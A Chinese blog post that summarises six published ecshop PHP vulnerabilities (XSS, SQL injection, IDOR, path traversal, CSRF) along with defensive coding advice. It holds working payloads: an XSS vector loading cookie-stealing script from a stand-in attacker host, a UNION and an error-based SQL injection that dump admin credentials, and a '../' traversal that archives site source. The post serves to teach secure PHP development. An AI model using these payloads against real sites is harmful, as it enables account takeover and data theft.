PHP開發的一些漏洞安全知識

技術小牛人發表於2017-11-06

注意:這裡只說下PHP程式的一些漏洞,不涉及伺服器其它系統安全。

  這段時間的看了看一些PHP系統程式安全漏洞的文章,覺得做為一個PHP開發人員,如果不去看重這些漏洞,則不是一個合格的程式設計師。

PHP的漏洞很多,為了給自己提醒,也為了不斷新增新的漏洞預防方法,在這裡寫下自己當前所知道的預防方法。如有不正確的地方還請指正。

我當前工作中主要是對ecshop的二次開發,一直以為這個系統經過了這麼多年,應該不會有太多的漏洞。最近搜了下,發現漏洞還挺多的。j_0012.gif

所以下面就以ecshop為例說明下這個系統的漏洞。需要說明的是,這些漏洞不是我發現的,只是我搜到的,放在這裡只為以後好找,並且在這裡在做一個總結!

XSS攻擊。百度說 

           xss攻擊是惡意攻擊者往Web頁面裡插入惡意html程式碼,當使用者瀏覽該頁之時,嵌入其中Web裡面的html程式碼會被執行,從而達到惡意使用者的特殊目的。

其實是就在頁面中惡意插入一段HTML或JS程式碼。當訪問該頁面時就有可能觸發這段程式碼執行惡意操作。一般這段程式碼是一段JS程式碼或一個引入的檔案路徑等。這些程式碼大多是執行JS操作送發一些重要資訊給攻擊者。大部分是獲取一些COOKIE資料,當然如果該頁面還有更重要的資料那都有可能被獲取,或都有其它操作會修改客戶的重要資料。

SQL隱碼攻擊。百度說

所謂SQL隱碼攻擊,就是通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的SQL命令

           下面來說下ecshop裡的幾個漏洞: 

1. ecshop最新版本儲存XSS至後臺。來源:http://www.wooyun.org/bugs/wooyun-2010-023731

  這個漏洞是利用定單處理頁面:flow.php的填寫收貨人地址頁面沒有對郵件進行有效的過濾,導致管理員在後臺的訂單頁。比如我們在郵件框中輸入

” onmouseover=”$import(`http://www.gongJiDeJS.com/test.js`,`js`)” “

其它內容老實填好,雖然在在init.php檔案中會進行一個addslashes但寫入資料庫後內容就恢復輸入的內容了。

142223328.jpg

原始碼包含:

<td align=”left” valign=”top“><a href=”mailto:” onmouseover=”$import(`http://www.gongJiDeJS.com/test.js`,`js`)” >

這是收貨人,但也是XSS</a> [TEL: 18058190409] <br/>XSS攻擊,只要滑鼠移過來就上當了</td>

看到上面紅色的文字我相信大家都懂,只要滑鼠移上來後就會觸發$import(`http://www.gongJiDeJS.com/test.js`,`js`)。而$import是ECSHOP自定義的一個JS函式,動態載入JS檔案。到這裡想想就知道,如果載入的http://www.gongJiDeJS.com/test.js檔案做手腳就很方便的把當前COOKIE的資料傳送給攻擊者,這個時候如果攻擊者自己建立COOKIE就可以進入後臺,剩下的就不用說了(如果管理員的許可權夠高整個系統資料都在攻擊者手中)。

這種漏洞雖然在客戶端用了JS判斷郵件合法性但客戶端JS可以關閉,所發在開發時不要太相信客戶端的JS判斷。JS只是一個增加客戶體驗,不能完全相信提交過來的資料。尤其是攻擊者,他們會想提交各種攻擊串來達到目的。程式在使用這些資料時也不能只通過addslashes來新增轉義。要嚴格判斷提交資料的合法性,如郵件必須判斷為正確的格式,顯示的文字要判斷是否有script標籤或其它的引入檔案標籤防止載入攻擊JS程式碼丟失客戶或管理員的COOKIE。包含html標籤的都轉換為HTML特殊符號轉義等。儘量不要直接使用。


2. ecshop最新版本SQL隱碼攻擊+儲存XSS=任意管理員登入。來源:http://www.wooyun.org/bugs/wooyun-2010-023188

  這個漏洞是利用站外廣告統計處理頁面:affiche.php的from引數傳入SQL,直接寫入資料庫ecs_adsense中在後臺管理員進入 報表統計 -> 站外投放JS 選單時該頁面又沒有對這個引數進行過濾便使用到第二個SQL中很容易形成了“二次注入”。

比如在URL上輸入:http://www.test.com/affiche.php?from=a.baidu.com%3Cscript+type%3D%22text%2Fjavascript%22+src%3D%22http%3A%2F%2Fwww.gongJiDeJS.com%2Ftest.js%22%3E%3C%2Fscript%3E&ad_id=-1

150722928.jpg

原始碼包含:

<td>站外JS呼叫商品</td><td>a.baidu.com<scripttype="text/javascript" src="http://www.gongJiDeJS.com/test.js"></script></td><tdalign="right">21</td><tdalign="right">0</td><tdalign="right">0</td>







同第一個類似,可以方便的獲取管理員的COOKIE,然後就….

如果這個時候你知道了該系統的表字首,還可以進行SQL隱碼攻擊獲取管理員的密碼。比如當前的表字首為ecs_ 在URL輸入:http://www.test.com/affiche.php?from=a.baidu.com%3Cscript+type%3D%22text%2Fjavascript%22+src%3D%22http%3A%2F%2Fwww.gongJiDeJS.com%2Ftest.js%22%3E%3C%2Fscript%3E`%20and%201=2%20union%20select%20group_concat(user_id,`|`,user_name,`|`,password)%20from%20ecs_admin_user%20order%20by%201%20desc%23&ad_id=-1

151653802.jpg

原始碼包含:

<td>站外JS呼叫商品</td><td>a.baidu.com<scripttype=”text/javascript” src=”http://www.gongJiDeJS.com/test.js”></script>` and 1=2 union select group_concat(user_id,`|`,user_name,`|`,password) from _admin_user order by 1 desc#</td><tdalign=”right“>21</td><tdalign=”right“>1|admin|967605f4dd51ebed1cc0c0289b8d97a5,8|admin|d41d8cd98f00b204e9800998ecf8427e</td><tdalign=”right“>1|admin|967605f4dd51ebed1cc0c0289b8d97a5,8|admin|d41d8cd98f00b204e9800998ecf8427e</td>

這種方法只要通過引入的JS取出<tdalign=”right“>1|admin|967605f4dd51ebed1cc0c0289b8d97a5,8|admin|d41d8cd98f00b204e9800998ecf8427e</td>裡面的內容就可以得到管理員的帳號與密碼。

當然還有其它可用的SQL來注入,獲取想要的內容,比如系統配置資料,等。

這種漏洞完全是程式沒有對提交的資料進行過濾,雖然的客戶端沒有什麼影響,但管理員進入後臺時,開啟對應的頁面就會執行攻擊者想要的操作,如果攻擊者能及時得到管理員的COOKIE就可以進入後臺管理,達到攻擊的目的。來源地址中說解決方案是  addslashes, 輸出時過濾 雖然解決了問題 我個人認為不好,應該從輸入時就過濾,去掉不合法的地址,當然這個難度有點大。但程式嚴謹。


3. ecshop最新版本一處使用者許可權越權。 來源:http://www.wooyun.org/bugs/wooyun-2010-023296

  這個漏洞是利用了頁面中的隱藏表單元素。強制修改裡面的值來破壞資料庫裡的記錄。

  ecshop裡的使用者可以修改自己的配送地址,但存在著address_id隱藏域,只要動修改下里面的值進行迴圈就可以清空或修改所有其它使用者的配送地址。

  主要的是修改配送地址的程式沒有做使用者判斷,而直接用了配送ID篩選,使用的程式是

/includes/lib_transaction.php 516行,save_consignee方法
if ($consignee[`address_id`] > 0)
{
/* 修改地址 */
$res = $GLOBALS[`db`]->autoExecute($GLOBALS[`ecs`]->table(`user_address`), $consignee, `UPDATE`, `address_id = ` . $consignee[`address_id`]); //看,沒判斷user_id吧?
}

  雖然這個漏洞不能獲取管理員的資料,但是可以破壞使用者的配送地址。極其不安全。

這個漏洞利用的是SQL查表篩選條件不足,在修改配送地址時沒有以使用者ID加配送ID進行篩選,只用到了配送ID,如果我們修改配送ID那就可以直接修改其它不屬於該使用者的配送資料,一斷迴圈那就會影響整個配送表的資料,因此在查表時一定要做好篩選,尤其是接受提交資料進行篩選,能進行使用者ID的一定要加上去,避免類似漏洞發生,同樣要對這個提交過來的篩選內容進行過濾,能為數字一定要強制轉換下等。


4.ecsho後臺任意使用者可以下載整站原始碼。來源:http://www.wooyun.org/bugs/wooyun-2010-023124

這個漏洞是利用了後臺備份模板模組的漏洞,沒有過濾備份的檔名就執行備份操作,當然這個漏洞必須要有後如管理帳號才可以攻擊。

  要ecshop後臺模板管理 -> 模板選擇 選單中有一個模板備份功能,看似很安全的操作,但只要涉及到提交我們都可以自定義提交一些資料來達到攻擊的目的。我們可以摸清備份當前模板 按鈕是一個JS呼叫AJAX來請求備份操作,所呼叫的是backupTemplate這個函式

/** * 備份當前模板 */function backupTemplate(tpl){  Ajax.call(`template.php?is_ajax=1&act=backup`, `tpl_name=` + tpl, backupTemplateResponse, "GET", "JSON");}




從這裡我們可以看到請求的地址規則是: template.php?is_ajax=1&act=backup&tpl_name=模板目錄名

到這裡可能還看不出來什麼問題,重要的是在PHP程式裡沒有進行驗證資料

if ($_REQUEST[`act`] == `backup`)


{


include_once(`includes/cls_phpzip.php`);

$tpl = trim($_REQUEST[`tpl_name`]);


$filename = `../temp/backup/` . $tpl . `_` . date(`Ymd`) . `.zip`;


$zip = new PHPZip;


$done = $zip->zip(`../themes/` . $tpl . `/`, $filename);

不清楚開發者是怎樣看待這個問題的,但是這個問題確實存在,如果被攻擊者拿到原始碼那就可以進一步的瞭解網站的修改量,版本等資訊,極為不安全。

當我們輸入URL:template.php?is_ajax=1&act=backup&tpl_name=../api

結果會是備份了api裡的所有檔案。

這個漏洞也是利用了沒有驗證提交的資料引起的,所以解決方法也是對這個提交資料進行驗證,當然也可以新增一些許可權設定。


5.ECSHOP全版本注入漏洞(二次注入)。來源:http://www.wooyun.org/bugs/wooyun-2010-016651

這個漏洞利用了PHP程式沒有對資料進行驗證,從而進行SQL二次注入,如果沒有經歷的程式設計師一般都不會想到一個下拉表單都可以做資料偽裝,事實上這個完全可以偽裝。

我們只要註冊一個會員,然後進行配送地址修改或下單進入新增配送地址頁面中,我們可以通過火狐瀏覽器修改下拉表單option的值然後其它的老實填好提交。

在值後面新增如下的內容,就可以得到管理員的帳號,但密碼是加密碼的所有這裡只是演示

) and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #

提交後就會報錯並,顯示出我們想要的資料。


6.Ecshop csrf可劫持使用者賬號。來源:http://www.wooyun.org/bugs/wooyun-2010-024625

這個漏洞利用了程式沒有對提交過來的修改資料進行身份識別,一般攻擊者可以建立一個類似的頁面通過某種手段使登入的使用者又進去了攻擊者設定好的陷阱,只要使用者進入這個陷阱後就會提交資料到使用者資訊修改地址頁面中,如果沒有身份識別那麼程式會接受修改的內容,只要資料格式合法。一般攻擊者攻擊的是可以通過郵箱找回密碼的網站,只要修改了郵箱為自己的郵箱就可以通過找回密碼的方式進去使用者的帳戶。當然這種攻擊是需要條件的,首先使用者必須登入,然後引誘進入攻擊陷阱頁面提交資料,最後得到使用者名稱,修改密碼。這種漏洞可以通過驗證碼來識別身份,或者生成一個隨機串都是可以的,主要是防止程式接受自動提交資料。只要能識別是人為操作基本就安全了。

個人感想:

   這裡所能說明的是大部分PHP程式漏洞。基本是沒有對使用者提交來的資料進行驗證導致的,所以我個人認為對客戶提交的所有資料進行適當的驗證轉換是網站安全的基本,當是數值的一定要強制轉換為對應的數值型別,當是字串的一定要加addslashes處理下,郵箱一定要進行匹配驗證,電話號,等。多次查詢時儘量使用連線查詢,如果非要做二次查詢SQL時並且使用到使用者提交過來的資料(字串類的)一定要再加一次addslashes才能進入SQL中,否則容易產生二次注入,如果要顯示客戶提交過來的文字類資料要進行htmlentities轉換HTML實體字元,解決掉XSS攻擊的可能,如果特殊情況不能去掉HTML實體字元,那必須處理好JS的引入操作,查詢出一些script,標籤,和一些JS事件,要儘可能的防止攻擊都提交過來的JS操作,最後一點提交資料儘可能的進行人為識別,防止惡意自動提交資料。

本文轉自   ttlxihuan    51CTO部落格,原文連結:http://blog.51cto.com/php2012web/p4


相關文章